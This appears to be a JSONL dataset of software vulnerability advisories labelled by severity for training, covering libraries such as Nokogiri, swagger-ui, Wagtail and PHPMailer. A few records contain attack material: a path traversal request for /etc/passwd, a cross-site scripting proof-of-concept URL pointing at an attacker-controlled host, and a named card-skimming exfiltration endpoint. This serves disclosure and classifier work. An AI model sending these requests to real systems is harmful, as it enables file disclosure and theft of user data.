-{"id": "62b12414dbdecf81727e", "text": "Nokogiri updates packaged dependency on libxml2 from 2.9.10 to 2.9.12\n\n### Summary\n\nNokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:\n\nNote that two additional CVEs were addressed upstream but are not relevant to this release. [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516) via `xmllint` is not present in Nokogiri, and [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595) has been patched in Nokogiri since v1.10.8 (see #1992).\n\nPlease note that this advisory only applies to the CRuby implementation of Nokogiri `< 1.11.4`, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's `libxml2` release announcements.\n\n### Mitigation\n\nUpgrade to Nokogiri `>= 1.11.4`.\n\n### Impact\n\nI've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.\n\nAll information below is sourced from [security.archlinux.org](https://security.archlinux.org), which appears to have the most up-to-date information as of this analysis.\n\n#### [CVE-2019-20388](https://security.archlinux.org/CVE-2019-20388)\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n#### [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595)\n\nThis has been patched in Nokogiri since v1.10.8 (see #1992).\n\n#### [CVE-2020-24977](https://security.archlinux.org/CVE-2020-24977)\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n#### [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516)\n\nVerified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship `xmllint`.\n\n#### [CVE-2021-3517](https://security.archlinux.org/CVE-2021-3517)\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n#### [CVE-2021-3518](https://security.archlinux.org/CVE-2021-3518)\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n#### [CVE-2021-3537](https://security.archlinux.org/CVE-2021-3537)\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n#### [CVE-2021-3541](https://security.archlinux.org/CVE-2021-3541)", "text_raw": "Nokogiri updates packaged dependency on libxml2 from 2.9.10 to 2.9.12\n\n[Severity: MEDIUM]\n\n### Summary\n\nNokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:\n\n- [CVE-2019-20388](https://security.archlinux.org/CVE-2019-20388) (Medium severity)\n- [CVE-2020-24977](https://security.archlinux.org/CVE-2020-24977) (Medium severity)\n- [CVE-2021-3517](https://security.archlinux.org/CVE-2021-3517) (Medium severity)\n- [CVE-2021-3518](https://security.archlinux.org/CVE-2021-3518) (Medium severity)\n- [CVE-2021-3537](https://security.archlinux.org/CVE-2021-3537) (Low severity)\n- [CVE-2021-3541](https://security.archlinux.org/CVE-2021-3541) (Low severity)\n\nNote that two additional CVEs were addressed upstream but are not relevant to this release. [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516) via `xmllint` is not present in Nokogiri, and [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595) has been patched in Nokogiri since v1.10.8 (see #1992).\n\nPlease note that this advisory only applies to the CRuby implementation of Nokogiri `< 1.11.4`, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's `libxml2` release announcements.\n\n\n### Mitigation\n\nUpgrade to Nokogiri `>= 1.11.4`.\n\n\n### Impact\n\nI've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.\n\nAll information below is sourced from [security.archlinux.org](https://security.archlinux.org), which appears to have the most up-to-date information as of this analysis.\n\n#### [CVE-2019-20388](https://security.archlinux.org/CVE-2019-20388)\n\n- **Severity**: Medium\n- **Type**: Denial of service\n- **Description**: A memory leak was found in the xmlSchemaValidateStream function of libxml2. Applications that use this library may be vulnerable to memory not being freed leading to a denial of service.\n- **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n\n#### [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595)\n\n- **Severity**: Medium\n- **Type**: Denial of service\n- **Description**: xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.\n- **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c8907645d2e155f0d89d4d9895ac5112b5\n\nThis has been patched in Nokogiri since v1.10.8 (see #1992).\n\n\n#### [CVE-2020-24977](https://security.archlinux.org/CVE-2020-24977)\n\n- **Severity**: Medium\n- **Type**: Information disclosure\n- **Description**: GNOME project libxml2 <= 2.9.10 has a global buffer over-read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c.\n- **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2\n\nVerified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.\n\n\n#### [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516)\n\n- **Severity**: Medium\n- **Type**: Arbitrary code execution (no remote vector)\n- **Description**: A use-after-free security issue was found libxml2 before version 2.9.11 when \"xmllint --html --push\" is used to process crafted files.\n- **Issue**: https://gitlab.gnome.org/GNOME/libxml2/-/issues/230\n- **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/1358d157d0bd83be1dfe356a69213df9fac0b539\n\nVerified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship `xmllint`.\n\n\n#### [CVE-2021-3517](https://security.archlinux.org/CVE-2021-3517)\n\n- **Severity**: Medium\n- **Type**: Arbitrary code execution\n- **Description**: A hea", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "8570e97501598a7c4157", "text": "Data race in abox\n\nAffected versions of this crate implements `Send`/`Sync` for `AtomicBox<T>` without requiring `T: Send`/`T: Sync`. This allows to create data races to `T: !Sync` and send `T: !Send` to another thread. Such behavior breaks the compile-time thread safety guarantees of Rust, and allows users to incur undefined behavior using safe Rust (e.g. memory corruption from data race). The flaw was corrected in commit `34c2b9e` by adding trait bound `T: Send` to `Send` impl for `AtomicBox<T>` and trait bound `T: Sync` to `Sync` impl for `AtomicBox<T>`.", "text_raw": "Data race in abox\n\n[Severity: HIGH]\n\nAffected versions of this crate implements `Send`/`Sync` for `AtomicBox<T>` without requiring `T: Send`/`T: Sync`. This allows to create data races to `T: !Sync` and send `T: !Send` to another thread. Such behavior breaks the compile-time thread safety guarantees of Rust, and allows users to incur undefined behavior using safe Rust (e.g. memory corruption from data race). The flaw was corrected in commit `34c2b9e` by adding trait bound `T: Send` to `Send` impl for `AtomicBox<T>` and trait bound `T: Sync` to `Sync` impl for `AtomicBox<T>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e85aa9d0ae51362855a6", "text": "Cross-Site Scripting in swagger-ui\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json\n````\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: CRITICAL]\n\nAffected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "fefe0f666c0cbf34a9f0", "text": "In Apache Tika 0.9 to 1.18, in a rare edge case where a user does not specify an extract directory on the commandline (--extract-dir=) and the input file has an embedded file with an absolute path, such as \"C:/evil.bat\", tika-app would overwrite that file.", "text_raw": "Moderate severity vulnerability that affects org.apache.tika:tika-core\n\n[Severity: MEDIUM]\n\nIn Apache Tika 0.9 to 1.18, in a rare edge case where a user does not specify an extract directory on the commandline (--extract-dir=) and the input file has an embedded file with an absolute path, such as \"C:/evil.bat\", tika-app would overwrite that file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "bb141c3673f351f5384f", "text": "Malicious Package in buffer-yor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-yor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1f1bf782ed9830f16923", "text": "Possible XSS attack in Wagtail\n\n### Impact\nA cross-site scripting (XSS) vulnerability exists on the page revision comparison view within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail admin could potentially craft a page revision history that, when viewed by a user with higher privileges, could perform actions with that user's credentials. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.2 (for the LTS 2.7 branch) and Wagtail 2.8.1 (for the current 2.8 branch).\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can disable the revision comparison view by adding the following URL route to the top of their project's `urls.py` configuration:\n\nfrom django.views.generic.base import RedirectView\n\nurlpatterns = [\n        url(r'^admin/pages/(\\d+)/revisions/compare/', RedirectView.as_view(url='/admin/')),\n        # ...\n    ]\n\n### Acknowledgements\nMany thanks to Vlad Gerasimenko for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at [security@wagtail.io](mailto:security@wagtail.io) (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "text_raw": "Possible XSS attack in Wagtail\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability exists on the page revision comparison view within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail admin could potentially craft a page revision history that, when viewed by a user with higher privileges, could perform actions with that user's credentials. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\nPatched versions have been released as Wagtail 2.7.2 (for the LTS 2.7 branch) and Wagtail 2.8.1 (for the current 2.8 branch).\n\n### Workarounds\nSite owners who are unable to upgrade to the new versions can disable the revision comparison view by adding the following URL route to the top of their project's `urls.py` configuration:\n\n    from django.views.generic.base import RedirectView\n\n    urlpatterns = [\n        url(r'^admin/pages/(\\d+)/revisions/compare/', RedirectView.as_view(url='/admin/')),\n        # ...\n    ]\n\n### Acknowledgements\nMany thanks to Vlad Gerasimenko for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at [security@wagtail.io](mailto:security@wagtail.io) (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
-{"id": "1c3463ced9e67d7f538a", "text": "Cryptographically Weak PRNG in randomatic\n\nAffected versions of `randomatic` generate random values using a cryptographically weak psuedo-random number generator. This may result in predictable values instead of random values as intended.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "text_raw": "Cryptographically Weak PRNG in randomatic\n\n[Severity: MEDIUM]\n\nAffected versions of `randomatic` generate random values using a cryptographically weak psuedo-random number generator. This may result in predictable values instead of random values as intended.\n\n\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "6726439a956a8ef0fdc1", "text": "Missing Handler in @scandipwa/magento-scripts\n\n### Impact\nAfter changing the function from synchronous to asynchronous there wasn't implemented handler in the [start](https://docs.create-magento-app.com/getting-started/available-commands/start), [stop](https://docs.create-magento-app.com/getting-started/available-commands/stop), [exec](https://docs.create-magento-app.com/getting-started/available-commands/exec) and [logs](https://docs.create-magento-app.com/getting-started/available-commands/logs) commands, effectively making them unusable.\n\n### Patches\n[Version 1.5.3](https://github.com/scandipwa/create-magento-app/releases/tag/%40scandipwa%2Fmagento-scripts%401.5.3) contains patches for the problems described above.\n\n### Workarounds\nUpgrade to patched or latest (recommended) version `npm i @scandipwa/magento-scripts@1.5.3` or `npm i @scandipwa/magento-scripts@latest`.\n\n### References\nNew releases always available here: https://github.com/scandipwa/create-magento-app/releases\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [create-magento-app](https://github.com/scandipwa/create-magento-app/issues)", "text_raw": "Missing Handler in @scandipwa/magento-scripts\n\n[Severity: MEDIUM]\n\n### Impact\nAfter changing the function from synchronous to asynchronous there wasn't implemented handler in the [start](https://docs.create-magento-app.com/getting-started/available-commands/start), [stop](https://docs.create-magento-app.com/getting-started/available-commands/stop), [exec](https://docs.create-magento-app.com/getting-started/available-commands/exec) and [logs](https://docs.create-magento-app.com/getting-started/available-commands/logs) commands, effectively making them unusable.\n\n### Patches\n[Version 1.5.3](https://github.com/scandipwa/create-magento-app/releases/tag/%40scandipwa%2Fmagento-scripts%401.5.3) contains patches for the problems described above.\n\n### Workarounds\nUpgrade to patched or latest (recommended) version `npm i @scandipwa/magento-scripts@1.5.3` or `npm i @scandipwa/magento-scripts@latest`.\n\n### References\nNew releases always available here: https://github.com/scandipwa/create-magento-app/releases\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [create-magento-app](https://github.com/scandipwa/create-magento-app/issues)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "664635bad8c9dd5829d9", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0916, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "966bde1177dedcdcf703", "text": "Puppet Improper Input Validation vulnerability\n\nPuppet 2.7.x before 2.7.21 and 3.1.x before 3.1.1, when running Ruby 1.9.3 or later, allows remote attackers to execute arbitrary code via vectors related to \"serialized attributes.\"", "text_raw": "Puppet Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nPuppet 2.7.x before 2.7.21 and 3.1.x before 3.1.1, when running Ruby 1.9.3 or later, allows remote attackers to execute arbitrary code via vectors related to \"serialized attributes.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "1119b57321073965ae5d", "text": "Server-Side Request Forgery in terriajs-server\n\nVersions of `terriajs-server`prior to 2.7.4 are vulnerable to Server-Side Request Forgery (SSRF). If an attacker has access to a server whitelisted by the terriajs-server proxy or if the attacker is able to modify the DNS records of a domain whitelisted by the terriajs-server proxy, the attacker can use the terriajs-server proxy to access any HTTP-accessible resources that are accessible to the server, including private resources in the hosting environment.\n\n## Recommendation\n\nUpgrade to version 2.7.4 or later.", "text_raw": "Server-Side Request Forgery in terriajs-server\n\n[Severity: HIGH]\n\nVersions of `terriajs-server`prior to 2.7.4 are vulnerable to Server-Side Request Forgery (SSRF). If an attacker has access to a server whitelisted by the terriajs-server proxy or if the attacker is able to modify the DNS records of a domain whitelisted by the terriajs-server proxy, the attacker can use the terriajs-server proxy to access any HTTP-accessible resources that are accessible to the server, including private resources in the hosting environment.\n\n\n## Recommendation\n\nUpgrade to version 2.7.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "3a694f29ee6ed882169c", "text": "Remote Code Execution vulnerability in PHPMailer 6.4.1 running on Windows\n\nPHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed.\n\n### Impact\nArbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\n### Patches\nMitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\nThis approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\n### Workarounds\nAny of:\n* Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n* Block or filter the use of unknown UNC paths in this parameter (or altogether).\n* Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n* Run on an OS that does not support UNC paths\n\n### References\n[CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\nReported by [listensec.com](https://listensec.com) via Tidelift.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n* [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)", "text_raw": "Remote Code Execution vulnerability in PHPMailer 6.4.1 running on Windows\n\n[Severity: HIGH]\n\nPHPMailer 6.4.1 contains a possible remote code execution vulnerability through the `$lang_path` parameter of the `setLanguage()` method. If the `$lang_path` parameter is passed unfiltered from user input, it can be set to [a UNC path](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths), and if an attacker is also able to create a remote mount on the server that the UNC path points to, a script file under their control may be executed. \n\n### Impact\nArbitrary code may be run by a remote attacker under the web server or PHP process running on Window hosts.\n\n### Patches\nMitigated in PHPMailer 6.5.0 by no longer treating translation files as PHP code, but by parsing their text content directly.\nThis approach avoids the possibility of executing unknown code while retaining backward compatibility. This isn't ideal, so the current translation format is deprecated and will be replaced in the next major release.\n\n### Workarounds\nAny of:\n* Ensure that calling code does not pass unfiltered user-supplied data to the `$lang_path` parameter of the `setLanguage()` method.\n* Block or filter the use of unknown UNC paths in this parameter (or altogether).\n* Ensure that unauthorised users do not have the ability to read from unknown remote servers via UNC paths.\n* Run on an OS that does not support UNC paths\n\n### References\n[CVE-2021-34551](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34551).\n\nReported by [listensec.com](https://listensec.com) via Tidelift.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\n* [Email the maintainers](mailto:phpmailer@synchromedia.co.uk)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "7509f1343e7f92c95716", "text": "Incorrect Authorization in Apache Ozone\n\nIn Apache Ozone versions prior to 1.2.0, Authenticated users knowing the ID of an existing block can craft specific request allowing access those blocks, bypassing other security checks like ACL.", "text_raw": "Incorrect Authorization in Apache Ozone\n\n[Severity: MEDIUM]\n\nIn Apache Ozone versions prior to 1.2.0, Authenticated users knowing the ID of an existing block can craft specific request allowing access those blocks, bypassing other security checks like ACL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "89b81d8e85bfee5fc44b", "text": "Regular expression deinal of service in express-validators\n\nAll versions of package express-validators are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.", "text_raw": "Regular expression deinal of service in express-validators\n\n[Severity: MEDIUM]\n\nAll versions of package express-validators are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "93bb706b0fa97f79af25", "text": "Malicious Package in json-serializer\n\nVersion 2.0.10 of `json-serializer` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in json-serializer\n\n[Severity: CRITICAL]\n\nVersion 2.0.10 of `json-serializer` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1a73a2bc76a1d0666140", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1092, CVE-2019-1103, CVE-2019-1106, CVE-2019-1107.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1092, CVE-2019-1103, CVE-2019-1106, CVE-2019-1107.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "ddc5a83ea1af8f09ef5c", "text": "Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow", "text_raw": "Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-06-12", "split": "train"}
-{"id": "b70a5073e6c79a79dcb2", "text": "Symantec Messaging Gateway Remote Code Execution Vulnerability\n\nAffected: Symantec Symantec Messaging Gateway\n\nSymantec Messaging Gateway contains an unspecified vulnerability which can allow for remote code execution. With the ability to perform remote code execution, an attacker may also desire to perform privilege escalating actions.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Symantec Messaging Gateway Remote Code Execution Vulnerability\n\nAffected: Symantec Symantec Messaging Gateway\n\nSymantec Messaging Gateway contains an unspecified vulnerability which can allow for remote code execution. With the ability to perform remote code execution, an attacker may also desire to perform privilege escalating actions.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "41a35280a328c8bf1549", "text": "Generation of Error Message Containing Sensitive Information in RESTEasy client\n\nA flaw was found in RESTEasy client in all versions of RESTEasy up to 4.5.6.Final. It may allow client users to obtain the server's potentially sensitive information when the server got WebApplicationException from the RESTEasy client call. The highest threat from this vulnerability is to data confidentiality.", "text_raw": "Generation of Error Message Containing Sensitive Information in RESTEasy client\n\n[Severity: MEDIUM]\n\nA flaw was found in RESTEasy client in all versions of RESTEasy up to 4.5.6.Final. It may allow client users to obtain the server's potentially sensitive information when the server got WebApplicationException from the RESTEasy client call. The highest threat from this vulnerability is to data confidentiality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-03", "split": "train"}
-{"id": "064bd1f01fb605111010", "text": "Command injection in git-it-electron\n\nGit-it through 4.4.0 allows OS command injection at the Branches Aren't Just For Birds challenge step. During the verification process, it attempts to run the reflog command followed by the current branch name (which is not sanitized for execution).", "text_raw": "Command injection in git-it-electron\n\n[Severity: CRITICAL]\n\nGit-it through 4.4.0 allows OS command injection at the Branches Aren't Just For Birds challenge step. During the verification process, it attempts to run the reflog command followed by the current branch name (which is not sanitized for execution).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-08", "split": "train"}
-{"id": "8f21456d270f464a7743", "text": "ACROS Security 0patch (0PatchServicex64.exe) Unquoted Service Path EoP", "text_raw": "ACROS Security 0patch (0PatchServicex64.exe) Unquoted Service Path EoP\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-06-20", "split": "train"}
-{"id": "127ccb4e538c07e23cb1", "text": "TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities", "text_raw": "TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-01-29", "split": "train"}
-{"id": "a9b889b263b6ced90b92", "text": "XStream can cause a Denial of Service.\n\n### Impact\nThe vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21341](https://x-stream.github.io/CVE-2021-21341.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream can cause a Denial of Service.\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21341](https://x-stream.github.io/CVE-2021-21341.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "cd238473102ec34a5951", "text": "Directory Traversal in sencisho\n\nAffected versions of `sencisho` are vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in sencisho\n\n[Severity: HIGH]\n\nAffected versions of `sencisho` are vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
